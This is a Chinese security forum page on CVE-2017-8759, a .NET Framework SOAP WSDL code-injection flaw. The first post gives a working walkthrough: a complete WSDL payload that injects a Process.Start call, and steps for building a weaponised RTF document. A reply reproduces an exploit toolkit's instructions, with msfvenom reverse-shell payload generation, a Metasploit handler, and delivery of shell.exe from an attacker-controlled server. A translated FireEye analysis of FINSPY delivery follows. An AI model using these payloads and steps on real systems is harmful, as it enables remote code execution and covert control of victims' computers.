标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-669]   作者: ecawen 发表于: [2017-09-20]

本文共 [352] 位读者顶过

漏洞概述

FireEye最近检测到一个恶意的Microsoft Office RTF文档,利用CVE-2017-8759(一种SOAP WSDL解析器代码注入漏洞)。此漏洞允许在解析SOAP WSDL定义内容期间注入任意代码。

基本信息

漏洞名称:.NET Framework远程代码执行漏洞[出自:jiwo.org]
漏洞编号:CVE-2017-8759
漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统
利用场景:远程钓鱼、社会工程
影响版本:以下.NET版本
  Microsoft .NET Framework 4.6.2
  Microsoft .NET Framework 4.6.1
  Microsoft .NET Framework 3.5.1
  Microsoft .NET Framework 4.7
  Microsoft .NET Framework 4.6
  Microsoft .NET Framework 4.5.2
  Microsoft .NET Framework 3.5
  Microsoft .NET Framework 2.0 SP2
影响产品:Office(word excel)Edge IE WinOS Skype Lync Sharepoint

漏洞利用点

PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。

这里不详细介绍了(因为我也不懂),可以参考火眼和360的分析。

本地测试

利用过程

方法一

新建一个图片文件,名字为office.png(其他格式也行),内容为:

<definitions 
    xmlns="http://schemas.xmlsoap.org/wsdl/" 
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" 
    xmlns:suds="http://www.w3.org/2000/wsdl/suds" 
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System" 
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    </binding>
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>
            <soap:address location=";
            if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
            } //"/>
        </port>
    </service>
</definitions>

然后放在web目录。
根据样本文件,发现是在word文档中添加一个SOAP标记。
格式为soap:wsdl=http://192.168.135.135/office/office.png
本次以样本为例,然后修改其中的地址。
样本文件

分别用样本和自己的web地址生成特hex格式的地址,然后将样本中的地址更换为自己的地址即可。(注意替换的长度需保持一致)

生成hex格式的地址

样本文件最重要的是倒数第三行(看起来是空白),然后可以将上面无用的内容全部删除,只留下最后三行。

替换地址后的内容

然后就是打开该word文档,就可以看到计算器弹出。但实现的过程有点问题,就是必须点更新链接才会触发(即使将添加objupdate还是不行)。

执行效果

方法二

参考<https://github.com/vysec/CVE-2017-8759>;
新建o.png,内容为:

o.png内容

word.db内容:
word.db内容

新建一个rtf文档,随意插入一个对象。例如<[img]http://192.168.135.135/office/o.png[/img]>; (这是为了下面替换objdata内容)
用记事本打开,将\object\objautlink\rsltpict修改为\object\objautlink\objupdate\rsltpict
打开blob.bin文件

blob.bin源文件
将其中的地址修改为<[img]http://192.168.135.135/office/o.png[/img]>;
复制原来的地址,尽量多复制点空格。
替换过程1

然后生成新的hex地址
生成新的地址

然后用生成的地址替换blob.bin中的地址
替换后的blob.bin文件
然后将blob.bin中的内容替换word文档的objdata内容。
然后打开word文档,就会有神奇的事情发生。
执行效果2

恶意软件将被放置在C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB[6个随机数字].exe

> 以上均在虚拟机上测试。没有使用样本中的left.jpg。最后结果确实如火眼所说的那样生成了OfficeUpdte-KB**.exe文件。在win10(真机)上测试的时候还生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三个文件。
> 这里方法一没有直接执行的原因我也不太清楚,但是用方法二插入office.png,也是不会直接执行的。如果方法一和二中过程替换一下,效果也是一样的。

方法三

下载脚本<https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py>;

使用方法:python CVE-2017-8759_exploit_rtf.py [img]http://192.168.135.135/office/office.png[/img]
会在当前目录生成文件cve-2017-8759.rtf,打开即可。

> 根据CVE-2017-0199的脚本改写而来,仅仅保留并修改了生成文件的代码。

参考链接

[1].<https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html>;
[2].<http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA>;
[3].<https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/>;

关键词: CVE-2017-8759
只看该作者沙发  发表于: 09-15

Exploit toolkit CVE-2017-8759 - v1.0

Exploit toolkit CVE-2017-8759 - v1.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other payload to victim without any complex configuration.

Disclaimer

This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (bhdresh) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not bhdresh's responsibility.

Release note:

Introduced following capabilities to the script

- Generate Malicious RTF file
- Exploitation mode for generated RTF file

Version: Python version 2.7.13

Scenario: Deliver local meterpreter payload

Video Tutorial: <https://www.youtube.com/watch?v=46jEa1bmORM>;
Example commands
1) Generate malicious RTF file
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

Command line arguments:

# python cve-2017-8759_toolkit.py -h

This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)

Modes:

-M gen                                          Generate Malicious file only

     Generate malicious RTF/PPSX file:

      -w <Filename.rtf>                   Name of malicious RTF file (Share this file with victim).

      -u <http://attacker.com/test.txt>   Path of remote txt file. Normally, this should be a domain or IP where this                                          tool is running.
                                          For example, http://attackerip.com/test.txt (This URL will be included in                                                   malicious RTF file and will be requested once victim will open malicious RTF file.

                      
-M exp                                          Start exploitation mode

     Exploitation:
  
      -p <TCP port:Default 80>            Local port number.

      -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.

      -l </tmp/shell.exe>                 Specify local path of an executable file / meterpreter shell / payload.

Author

@bhdresh

Credit

@Voulnet, @vysec, @bhdresh

Bug, issues, feature requests

Obviously, I am not a fulltime developer so expect some hiccups

Please report bugs, issues through <https://github.com/bhdresh/CVE-2017-8759/issues/new>;

有问题联系微信:50421961
只看该作者板凳  发表于: 09-15

FIreEye近期检测到一个恶意的利用CVE-2017-8759漏洞的微软Office RTF文档。

CVE-2017-8759是SOAP WSDL分析器代码注入漏洞,在解析SOAP WSDL定义的内容中它允许攻击者注入任意代码。

FireEye分析了这个攻击者使用的微软Word文档,它利用任意代码注入来下载和执行一个包含PowerShell命令的VB脚本。

FireEye将这个漏洞的细节分享给了微软,然后协调了信息披露的时间,发布了修补该漏洞的补丁和安全指导,可以在这里找到它们。

FireEye的邮件,终端以及网络产品都已经可以检测该恶意文档。

针对俄语目标的漏洞

该恶意文档(Проект.doc)(MD5:fe5c4d6bb78e170abf5cf3741868ea4c)可能是针对俄语目标的。

在CVE-2017-8759利用成功之后,该文档会下载多个组件(后面有详情),最终会加载一个FINSPY payload(MD5:a7b990d5f57b244dd17e9a937a41e7f5)。

FINSPY恶意软件,也叫做FinFisher或者WingBird,是可以购买的用于“合法窃听”的软件。基于这个和之前FINSPY的使用,我们有更多的信心说这个恶意文档是一个针对俄语目标的网络间谍活动。

根据FireEye动态威胁情报系统的更多的检测,根据不同client的行为关联,发现该样本在2017年7月就已经出现了。

CVE-2017-8759 WSDL 解析器代码注入

代码注入漏洞是存在于WSDL解析模块的PrintClientProxy方法中(<http://referencesource.microsoft.com/>; - System.Runtime.Remoting/metadata/wsdlparser.cs,6111)。

IsValidUrl没有对提供的包含CRLF序列(换行回车)的数据进行正确的校验,这就允许了攻击者注入和执行任意代码。部分漏洞代码如图1所示。

图1. WSDL解析器的漏洞

当在SOAP响应中多个address被定义时,代码会在第一个地址后插入“//base.ConfigureProxy(this.GetType(),”字符串,注释了后面剩余的address。然而,如果恶意的address的还有一个CRLF,后面的代码就不会被注释。

图2展示了对CRLF缺乏验证,System.Diagnostics.Process.Start方法会被注入。生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。

图2. SOAP定义和产生的代码

在外散播的攻击

FireEye检测到在外散播的攻击使用的是富文本(RTF)格式的文档,和我们之前报告的CVE-2017-0199文档类似。

该恶意样本包含一个是利用更方便的嵌入的SOAP Moniker,如图3所示。

图3. SOAP Moniker

样本从一个攻击者控制的服务器接收恶意的SOAP WSDL定义的数据。.NET框架中System.Runtime.Remoting.ni.dll中实现的WSDL解析器会解析内容然后生成一个.cs源代码到工作目录中。

接着.NET框架的csc.exe编译该代码生成一个名字像http[url path].dll的库文件。然后微软的Office会加载这个库,完成漏洞利用。图4展示了漏洞利用加载的示例库文件。

图4. 被加载的DLL

在成功的利用中,注入的代码会创建一个新的进程,利用mshta.exe会从同一个服务器接收一个叫做“word.db”的HTA脚本。

HTA脚本会从磁盘删除源代码,编译的DLL和PDB文件,然后下载执行叫做“left.jpg”的FINSPY恶意软件,虽然它是.jpg后缀名,类型是image/jpeg,但其实是个可执行文件。

图5展示了恶意软件传输的PCAP细节。

图5. 实时的请求

该恶意软件会被放在%appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe中。图6展示了在Process Monitor中的进程创建链。

图6. 进程创建链

恶意软件

Left.jpg (md5: a7b990d5f57b244dd17e9a937a41e7f5)是FINSPY的变体。它利用高强度的混淆代码开发了一个内置虚拟机以及其他的一些反分析技术,来增加逆向的难度。比如另个月单独的反分析技术是,它会解析自己的全路径,然后搜索是否存在他自己的MD5哈希字符串。很多分析工具和沙箱为了能保证准确的唯一文件名会重命名样本文件为MD5哈希。该样本会使用WininetStartupMutex0的mutex来保证单实例。

总结

CVE-2017-8759是2017年FireEye发现的第二个分发FINSPY的0day。这个揭露说明签名资源对“合法窃听”的公司和他们用户都是可用的。此外,FINSPY买了多个不同的客户端,漏洞可以用于攻击其他的目标。

CVE-2017-8759可能已经被更多的攻击者利用了。尽管我们没有证据,但是在2017年7月分析中,CVE-2017-0199已经被金融攻击者用来分发FINSPY。如果FINSPY的攻击者有之前使用的相同源码的漏洞,那么可能代码已经被卖给了更多的攻击者。

感谢

感谢Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence发布这个博客。同样感谢MSRC协助解决这个问题的工作人员。

参考:<http://blog.sina.com.cn/s/blog_67ae918d0102e1l9.html>;

文章来源:
<https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html>

评论

暂无
发表评论
 返回顶部 
热度(352)
 关注微信